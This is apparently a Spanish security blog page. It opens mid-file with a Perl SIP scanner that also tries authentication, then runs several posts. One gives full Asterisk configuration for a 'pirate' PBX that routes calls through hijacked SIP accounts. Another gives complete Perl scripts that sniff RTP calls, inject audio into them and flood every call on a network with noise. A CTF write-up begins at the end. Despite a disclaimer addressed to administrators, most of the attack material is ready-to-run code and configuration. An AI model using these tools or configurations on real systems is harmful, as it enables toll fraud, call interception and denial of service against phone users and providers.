my $pass = "aaaaaa";
my $lport = "5061";
my $myip = "anonymous";
my $tmpfile = "sipscan".time().".txt";

open(OUTPUT,">$tmpfile");

OUTPUT->autoflush(1);
STDOUT->autoflush(1);

sub init() {
	my $pini;
	my $pfin;

	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "m=s" => \$method,
	                         "p=s" => \$port,
	                         "v+" => \$v);

	help() if ($host eq "");

	$port = "5060" if ($port eq "");
	$method = uc($method);
	$method = "OPTIONS" if ($method eq "");

	if ($host =~ /\-/) {
		my $ip = $host;

		$ip =~ /([0-9|\.]*)-([0-9|\.]*)/;
		my $ipini = $1;
		my $ipfin = $2;

		my $ip2 = $ipini;
		$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip2_1 = int($1);
	  	my $ip2_2 = int($2);
	  	my $ip2_3 = int($3);
	  	my $ip2_4 = int($4);

		my $ip3 = $ipfin;
		$ip3 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip3_1 = int($1);
	  	my $ip3_2 = int($2);
	  	my $ip3_3 = int($3);
	  	my $ip3_4 = int($4);

	  	for (my $i1 = $ip2_1; $i1 <= $ip3_1; $i1++) {
		  	for (my $i2 = $ip2_2; $i2 <= $ip3_2; $i2++) {
			  	for (my $i3 = $ip2_3; $i3 <= $ip3_3; $i3++) {
				  	for (my $i4 = $ip2_4; $i4 <= $ip3_4; $i4++) {
					  	$ip = "$i1.$i2.$i3.$i4";
						push @range, $ip;
					}
				}
			}
		}

	}
	else {
		my $ip = new NetAddr::IP($host);

		if ($ip < $ip->broadcast) {
			$ip++;

			while ($ip < $ip->broadcast) {
				my $ip2 = $ip;
				$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
			  	$ip2 = "$1.$2.$3.$4";
				push @range, $ip2;
				$ip++;
			}
		}
		else {
			push @range, $host;
		}
	}

	if ($port =~ /\-/) {
		$port =~ /([0-9]*)-([0-9]*)/;
		$pini = $1;
		$pfin = $2;
	}
	else {
		$pini = $port;
		$pfin = $port;
	}

	my $nhost = @range;

	for (my $i = 0; $i <= $nhost; $i++) {
		for (my $j = $pini; $j <= $pfin; $j++) {
			while (1) {
				if ($threads < $maxthreads) {
					last unless defined($range[$i]);
					my $thr = threads->new(\&scan, $range[$i], $j);
					$thr->detach();
					$percent = ($count/($nhost*($pfin-$pini+1)))*100;
					$percent = sprintf("%.1f", $percent);
					print "THREADS: $threads || STATUS: $percent% || FOUND: $found     \r";

					last;
				}
				else {
					sleep(1);
				}
			}
		}
	}

	sleep(1);

	close(OUTPUT);

	print "THREADS: 0 || STATUS: 100% || FOUND: $found     \r\n";

	open(OUTPUT, $tmpfile);

	print "\nIP:port\t\t\t  User-Agent\n";
	print "=======\t\t\t  ==========\n";

	my @results = <OUTPUT>;
	close (OUTPUT);

	unlink($tmpfile);

	@results = sort(@results);

	foreach(@results) {
		print $_;
	}

	print "\n";

	exit;
}

sub scan {
	my $ip = shift;
	my $nport = shift;

	if ($method eq "REGISTER") {
		register($ip, $nport);
	}
	if ($method eq "INVITE") {
		invite($ip, $nport);
	}
	if ($method eq "OPTIONS") {
		options($ip, $nport);
	}
}

sub options {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "OPTIONS sip:$ip SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$ip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 OPTIONS\n";
	$msg .= "From: $user <sip:".$user."@".$ip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $data = "";
	my $server = "";
	my $useragent = "";

	LOOP: {
		while (<$sc>) {
			my $line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		if ($server eq "") {
			$server = $useragent;
		}
		else {
			if ($useragent ne "") {
				$server .= " - $useragent";
			}
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub invite {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:$ip SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		if ($server eq "") {
			$server = $useragent;
		}
		else {
			if ($useragent ne "") {
				$server .= " - $useragent";
			}
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub register {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "REGISTER sip:$ip SIP/2.0\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Cseq: 1 REGISTER\n";
	$msg .= "Expires: 900\n";
	$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $nonce = "";
	my $realm = "";
	my $data = "";

	LOOP: {
		while (<$sc>) {
			my $line = $_;

			if ($line =~ /nonce/ && $nonce eq "") {
	   		$line =~ /nonce\=\"(\w+)\"/i;

		   	if ($1) {
					$nonce = $1;
				}
			}

			if ($line =~ /realm/ && $realm eq "") {
	   		$line =~ /realm\=\"(\w+)\"/i;

		   	if ($1) {
					$realm = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

		$branch = &generate_random_string(71, 0);

		my $md5 = Digest::MD5->new;
		$md5->add($user, ':', $realm, ':', $pass);
		my $HXA = $md5->hexdigest;
		my $uri = "sip:$ip";

		$md5 = Digest::MD5->new;
		$md5->add('REGISTER', ':', $uri);
		my $HXB = $md5->hexdigest;

		$md5 = Digest::MD5->new;
		$md5->add($HXA, ':', $nonce, ':', $HXB);
		my $response = $md5->hexdigest;

		$msg = "REGISTER sip:$ip SIP/2.0\n";
		$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
		$msg .= "Call-id: $callerid\n";
		$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
		$msg .= "Expires: 900\n";
		$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
		$msg .= "Max-forwards: 70\n";
		$msg .= "To: $user <sip:".$user."@".$ip.">\n";
		$msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"sip:$ip\",response=\"$response\"\n";
		$msg .= "Cseq: 2 REGISTER\n";
		$msg .= "Content-length: 0\n\n";

		print $sc $msg;

		print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

		$data = "";
		my $server = "";

		LOOP: {
			while (<$sc>) {
				my $line = $_;

				if ($line =~ /[Ss]erver/ && $server eq "") {
		   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

			   	if ($1) {
						$server = $1;
					}
				}

				$data .= $line;

				if ($line =~ /^\r\n/) {
					last LOOP;
				}
			}
		}

		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

    == Options ==
      -m <string>      = Method: REGISTER/INVITE/OPTIONS/ALL (default: REGISTER)
      -p <integer>     = Remote SIP port (default: 5060)
      -v               = Verbose mode

    == Examples ==
         \$$0 -h 192.168.0.1 -m invite
         \$$0 -h 192.168.0.0/24 -p 5060-5070
         \$$0 -h 192.168.0.1-192.168.0.100 -p 5060-5070 -v

};

	exit 1;
}

init();

Montando una centralita pirata con Asterisk

Jueves, septiembre 15th, 2011

Tras los robos de cuentas de VoIP hay verdaderas mafias. No sólo se trata de de alguien que hackea una cuenta y hace 4 llamadas gratis a los amigos, sino que hay, desde grupos organizados hasta locutorios que venden minutos y no pagan por ello.

Lo que voy a contar, evidentemente, no es para que hackees ninguna cuenta sino para que, en caso de ser administrador de Asterisk, comprendas que las consecuencias de tener una cuenta comprometida pueden ser muy graves.

Vamos a ver un sencillo ejemplo de cómo configurar un Asterisk al que podemos ir añadiendo cuentas de forma indefinida.

En primer lugar, nos encontramos con un servidor Asterisk montado con un número determinado de extensiones, y al que iremos añadiendo conexiones SIP-trunk con cuentas externas, y que nos permitirán realizar las llamadas al exterior.

Los servidores SIP a los que conectamos los SIP-trunk son máquinas comprometidas de las que se ha obtenido alguna cuenta.

La configuración básica para el servidor podría ser algo así (pongo sólo 2 extensiones para no alargar mucho el post):

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

Con esto tendríamos montado un Asterisk básico con un par de extensiones que, de momento sólo podrían hablar entre ellos.

Ahora vamos a modificar la configuración y crear varios SIP-trunk con cuentas comprometidas:

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

localnet=192.168.1.0/255.255.255.0

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3

[proveedor1]
type=peer
context=remoto
host=hostvulnerable1
fromdomain=hostvulnerable1
defaultuser=uservulnerable1
secret=passvulnerable1
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor2]
type=peer
context=remoto
host=hostvulnerable2
fromdomain=hostvulnerable2
defaultuser=uservulnerable2
secret=passvulnerable2
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor3]
type=peer
context=remoto
host=hostvulnerable3
fromdomain=hostvulnerable3
defaultuser=uservulnerable3
secret=passvulnerable3
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Lo que hemos hecho es, en sip.conf, en la configuración general, hemos añadido:

localnet=192.168.1.0/255.255.255.0 # indica nuestra red local (sólo si nuestro Asterisk conecta desde una red local y necesita el uso de NAT para salir)

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1 # registro de un primer usuario en el host vulnerable 1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2 # registro de un segundo usuario en el host vulnerable 1
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3 # registro de un primer usuario en el host vulnerable 2

Con esto tenemos creados 3 SIP-trunk con diferentes cuentas. Por otro lado:

[proveedorX]
type=peer
context=remoto
host=hostvulnerableX
fromdomain=hostvulnerableX
defaultuser=uservulnerableX
secret=passvulnerableX
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

Aquí definimos las 3 cuentas (como proveedor1, proveedor2 y proveedor3), con sus usuarios y contraseñas correspondientes, e indicando que el contexto que debe usar en extensions.conf se llama remoto. Además le hemos dejado la posibilidad de realizar 1000 llamadas simultáneas (nunca sabemos cuál es el tope que tiene el usuario).

Por otro lado, en extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

Si nos llama alguien de fuera, directamente colgamos sin atender la llamada.

Y dentro del contexto local hemos añadido:

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Esto es para sacar las llamadas al exterior y, básicamente lo que ha es intentar salir con el proveedor1, si no lo consigue, prueba con el 2, y así sucesivamente. Para las llamadas al exterior usará como identificador de llamada el número 666666666.

Con esta configuración básica sobra con ir añadiendo cuentas y contextos con cada usuario hackeado que se obtenga. Además según la configuración que tenga cada usuario comprometido en call-limit, en el sip.conf de su Asterisk, podremos realizar más o menos llamadas simultáneas usando esa cuenta. Es decir, si un usuario tiene como call-limit 10, podremos hacer 10 llamadas a la vez usando ese mismo usuario.

Inyectando tráfico RTP en una conversación VoIP

Martes, septiembre 13th, 2011

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface);

	help() if ($interface eq "");

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else
	{
		print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i <= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
			$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
		}

		if ($new eq 1) {
			print "Protocol: UDP\n";
			print "Codec   : GSM\n" if ($codec eq "3");
			print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
			print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
			print "Codec   : Speex\n" if ($codec eq "225");
			print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
			print "IP 1    : $ipsrc:$portsrc\n";
			print "IP 2    : $ipdst:$portdst\n";

			push @src, $ipsrc.":".$portsrc;
			push @dst, $ipdst.":".$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print "\nClosed the pcap allready, the program exits now.\n";
	}
};

sub help {
	print qq{
Usage:  $0 -i <interface>

};

	exit 1;
}

init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=>$port,
		PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";

# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
	$rtp->mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet->payload($data);
	$packet->seq_num_increment();
	$packet->timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp->send( $packet );
	#print "Sent $sent bytes.\n";

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
	exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface,
	                         "v+" => \$v);

	help() if ($interface eq "");

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else {
		print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
		print "\nAre you root?\n";
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads <= $maxthreads) {
			my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
			$thr->detach();
			$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
			$thr->detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq "1") {
		print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
		print "GSM            \n" if ($payload eq "3");
		print "G.711          \n" if ($payload eq "0");
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=>$port,
			PeerAddr=>$address,
	) || die "Failed to create RTP socket: $!";

	# Set the TTL
	if ($rtp->superclass() =~ /Multicast/) {
		$rtp->mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet->payload_type( $payload );

	for (my $i = 0; $i < 100; $i++) {
		my $data;

		for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet->payload($data);
		$packet->seq_num_increment();
		$packet->timestamp_increment( $PAYLOAD_SIZE );

		$rtp->send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i <interface> [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos

Solucionario al Reto de Hacking Infiltrados de Informática64

Viernes, mayo 13th, 2011

1- Introducción

La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.

Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.

